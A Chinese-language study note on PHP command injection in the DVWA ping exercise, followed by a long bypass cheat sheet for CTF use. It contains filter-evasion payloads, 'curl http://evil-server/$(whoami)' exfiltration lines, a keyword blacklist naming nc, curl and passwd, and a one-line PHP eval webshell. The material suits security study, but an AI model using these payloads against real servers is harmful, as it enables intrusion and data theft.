命令执行:

PHP:system、exec、shell_exec、passthru、popen、proc_popen等称为高危漏洞。

原理:只要程序可以调用系统命令的情况下都可以发生命令执行漏洞。

条件:用户能够控制函数输入,存在可以执行代码的危险函数。

命令执行漏洞产生原因:

开发人员没有对特殊函数入口做过滤,导致用户可以提交恶意代码并提交服务端执行。
Web服务器没有过滤危险函数导致命令执行漏洞攻击成功。

命令执行漏洞带来的危害:

  1. 继承Web服务程序的权限去执行系统命令或读写文件。
  2. 反弹shell
  3. 控制整个网站甚至控制服务器。
  4. 进一步内网渗透

PHP中的危险函数:

  1. system:成功则返回命令输出的最后一行,失败则返回FALSE。
  2. exec:命令执行结果的最后一行内容。
  3. shell_exec:命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL。
  4. passthru:执行外部程序并且显示原始输出。
  5. eval:将输入的字符串参数当做PHP程序代码来执行。
  6. assert
  7. preg_replace
  8. call_user_func

以下例子基于seay源代码审计系统

low.php

这是完整的代码

  1. <?php
  2. if( isset( $_POST[ 'Submit' ] ) ) {
  3. // Get input
  4. $target = $_REQUEST[ 'ip' ];
  5. // Determine OS and execute the ping command.
  6. if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
  7. // Windows
  8. $cmd = shell_exec( 'ping ' . $target );
  9. }
  10. else {
  11. // *nix
  12. $cmd = shell_exec( 'ping -c 4 ' . $target );
  13. }
  14. // Feedback for the end user
  15. $html .= "<pre>{$cmd}</pre>";
  16. }
  17. ?>

通过观察代码我们可以发现有个shell_exec是危险函数而且没有任何绕过

说明

isset ( mixed $var , mixed $... = ? ) : bool

检测变量是否设置,并且不是 null
如果已经使用 unset() 释放了一个变量之后,它将不再是 isset()。若使用 isset() 测试一个被设置成 null 的变量,将返回 false。同时要注意的是 null 字符("\0")并不等同于 PHP 的 null 常量。
如果一次传入多个参数,那么 isset() 只有在全部参数都以被设置时返回 true 计算过程从左至右,中途遇到没有设置的变量时就会立即停止。
参数
var
要检查的变量。
...
其他变量。
返回值
如果 var 存在并且值不是 null 则返回 true,否则返回 false

stristr ( string $haystack , mixed $needle , bool $before_needle = false ) : string

返回 haystack 字符串从 needle 第一次出现的位置开始到结尾的字符串。
参数
haystack
在该字符串中查找。
needle
如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符顺序值。
before_needle
若为 truestrstr() 将返回 needlehaystack 中的位置之前的部分(不包括 needle)。
参数 needlehaystack 将以不区分大小写的方式对待。
返回值
返回匹配的子字符串。如果 needle 未找到,返回 false

php_uname ( string $mode = “a” ) : string

php_uname() 返回了运行 PHP 的操作系统的描述。 这和 phpinfo() 最顶端上输出的是同一个字符串。 如果仅仅要获取操作系统的名称。可以考虑使用常量 PHP_OS,不过要注意该常量会包含 PHP 构建(built)时的操作系统名。
在一些旧的 UNIX 平台,它有可能无法检测到当前系统的信息,然后会还原显示成构建 PHP 时的系统信息。 这仅仅在你的 uname() 函数库不存在或无法运行时发生。
参数
mode
mode 是单个字符,用于定义要返回什么信息:

  • 'a':此为默认。包含序列 "s n r v m" 里的所有模式。
  • 's':操作系统名称。例如: FreeBSD
  • 'n':主机名。例如: localhost.example.com
  • 'r':版本名称,例如: 5.1.2-RELEASE
  • 'v':版本信息。操作系统之间有很大的不同。
  • 'm':机器类型。例如:i386

返回值
返回描述字符串。

medium.php

代码如下所示

  1. <?php
  2. if( isset( $_POST[ 'Submit' ] ) ) {
  3. // Get input
  4. $target = $_REQUEST[ 'ip' ];
  5. // Set blacklist
  6. $substitutions = array(
  7. '&&' => '',
  8. ';' => '',
  9. );
  10. // Remove any of the charactars in the array (blacklist).
  11. $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
  12. // Determine OS and execute the ping command.
  13. if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
  14. // Windows
  15. $cmd = shell_exec( 'ping ' . $target );
  16. }
  17. else {
  18. // *nix
  19. $cmd = shell_exec( 'ping -c 4 ' . $target );
  20. }
  21. // Feedback for the end user
  22. $html .= "<pre>{$cmd}</pre>";
  23. }
  24. ?>

观察代码我们可以发现设置了黑名单过滤了’&&’和’;’,但是仍然可用其他方式突破;如:| & ||

说明

str_replace ( mixed $search , mixed $replace , mixed $subject , int &$count = ? ) : mixed

该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果。
如果没有一些特殊的替换需求(比如正则表达式),你应该使用该函数替换 ereg_replace()preg_replace()
参数
如果 searchreplace 为数组,那么 str_replace() 将对 subject 做二者的映射替换。如果 replace 的值的个数少于 search 的个数,多余的替换将使用空字符串来进行。如果 search 是一个数组而 replace 是一个字符串,那么 search 中每个元素的替换将始终使用这个字符串。该转换不会改变大小写。
如果 searchreplace 都是数组,它们的值将会被依次处理。
search
查找的目标值,也就是 needle。一个数组可以指定多个目标。
replace
search 的替换值。一个数组可以被用来指定多重替换。
subject
执行替换的数组或者字符串。也就是 haystack
如果 subject 是一个数组,替换操作将遍历整个 subject,返回值也将是一个数组。
count
如果被指定,它的值将被设置为替换发生的次数。
返回值
该函数返回替换后的数组或者字符串。

array_keys ( array $array , mixed $search_value = null , bool $strict = false ) : array

array_keys() 返回 input 数组中的数字或者字符串的键名。
如果指定了可选参数 search_value,则只返回该值的键名。否则 input 数组中的所有键名都会被返回。
参数
input
一个数组,包含了要返回的键。
search_value
如果指定了这个参数,只有包含这些值的键才会返回。
strict
判断在搜索的时候是否该使用严格的比较(===)。
返回值
返回 input 里的所有键。

high.php

  1. <?php
  2. if( isset( $_POST[ 'Submit' ] ) ) {
  3. // Get input
  4. $target = trim($_REQUEST[ 'ip' ]);
  5. // 设置黑名单,过滤'&' ';' '|' '-' '$' '(' ')' '\' '`' '||'
  6. //对'|'过滤不严格,后面有空格
  7. //仍然可以突破;'&|&' '|||' ';|;' '|'
  8. $substitutions = array(
  9. '&' => '',
  10. ';' => '',
  11. '| ' => '', //此处'|'后有个空格,所以并没有过滤掉'|'
  12. '-' => '',
  13. '$' => '',
  14. '(' => '',
  15. ')' => '',
  16. '`' => '',
  17. '||' => '',
  18. );
  19. // Remove any of the charactars in the array (blacklist).
  20. $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
  21. // Determine OS and execute the ping command.
  22. if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
  23. // Windows
  24. $cmd = shell_exec( 'ping ' . $target );
  25. }
  26. else {
  27. // *nix
  28. $cmd = shell_exec( 'ping -c 4 ' . $target );
  29. }
  30. // Feedback for the end user
  31. echo "<pre>{$cmd}</pre>";
  32. }
  33. ?>

对’|’过滤不严格,后面有空格(要不是看了别人笔记还真没看出来。。。)

绕过

1、绕过空格

  1. < -- 重定向,如cat<flag.php
  2. <> -- 重定向,如cat<>flag.php
  3. %09 -- 需要php环境,如cat%09flag.php
  4. ${IFS} -- 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
  5. $IFS$9 -- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

2、命令分隔

  1. %0a -- 换行符,需要php环境
  2. %0d -- 回车符,需要php环境
  3. ; -- shell 中,担任”连续指令”功能的符号就是”分号”
  4. & -- 不管第一条命令成功与否,都会执行第二条命令
  5. && -- 第一条命令成功,第二条才会执行
  6. | -- 第一条命令的结果,作为第二条命令的输入
  7. || -- 第一条命令失败,第二条才会执行

3、命令终结符

  1. %00 -- 需要php环境
  2. %20# -- 需要php环境

4、黑名单绕过

  • 拼接

    1. a=c;b=at;c=flag;$a$b $c
    2. a=c;b=at;c=heb;d=ic;ab{c}{d}
  • 借他人之手来获取字符

    1. 如果过滤了<>?,可以从已有的文件或环境变量中获取自己需要的字符。
    2. 如获取 < -- echo `expr substr $(awk NR==1 test.php) 1 1`
  • 反斜杠绕过

    1. 示例:
    2. l\s
  • 变量绕过 ```php a=l;b=s;$a$b

cat$x /etc/passwd

  1. - `编码绕过`
  2. ```php
  3. `echo 'Y2F0Cg==' | base64 -d` flag.txt
  4. echo "63617420666C61672E747874" | xxd -r -p|bash
  5. `printf "\154\163"`
  • 连字符绕过 ```php c’’at flag.txt

c””at flag.txt

ca$@t flag.txt

  1. - `反引号绕过`
  2. ```php
  3. cat `ls`
  1. $blacklist = [
  2. 'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed', 'apt', 'yum', 'curl', 'wget', 'perl',
  3. 'python', 'zip', 'tar', 'php', 'ruby', 'kill', 'passwd', 'shadow', 'root', 'z','dir', 'dd', 'df', 'du', 'free','tempfile',
  4. 'touch', 'tee', 'sha', 'x64', 'g','xargs', 'PATH','$0', 'proc', '/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
  5. ];
  6. ...(省略部分代码)
  7. foreach($blacklist as $keyword) {
  8. if(strstr($ip, $keyword)) {
  9. return "{$keyword} not allowed";
  10. ...(省略部分代码)
  11. exec("ping -c 1 \"{$ip}\" 2>&1", $ret);
  • 通配符*,?与斜杠组合绕过
    1. /bin/sh = /b?n/?h

    5、绕过ip中的句点

    网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433
    可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。
    在线转换地址:数字转IP地址 IP地址转数字 域名转数字IP

    6、liunx工具绕过

    1. more:一页一页的显示档案内容
    2. less:与 more 类似
    3. head:查看头几行
    4. tac:从最后一行开始显示,可以看出 tac cat 的反向显示
    5. tail:查看尾几行
    6. nl:显示的时候,顺便输出行号
    7. od:以二进制的方式读取档案内容
    8. vi:一种编辑器,这个也可以查看
    9. vim:一种编辑器,这个也可以查看
    10. sort:可以查看
    11. uniq:可以查看
    12. file -f:报错出具体内容

    7、<?=xxx?>绕过

    PHP中的<?=xxx?>就可以将一个变量输出
    1. $_="xxx";?><?=$_?>

    8、长度限制绕过

    ```php //反斜杠拼接

l\ s

//echo 写入可执行文件

echo \<?php >1 echo eval(>>1 echo \$_GET>>1 echo [1]>>1 echo )\;>>1

//创建文件以命令做文件名,然后以时序导入另一个文件,执行

ls ls -t >a sh a

  1. <a name="oFbQy"></a>
  2. ### 9、无回显绕过
  3. ```php
  4. curl http://evil-server/$(whoami)
  5. wget http://evil-server/$(whoami)

10、文件构造

在ctfhub文件包含中,有一个shell,txt,也就是文件
我们令?file = shell.txt,已知shell.txt内容为
<?php eval($_REQUEST['ctfhub']);?>
wrequest类型是由get和post构成的
在post数据里输入
ctfhub=system("ls /");
就可以执行命令.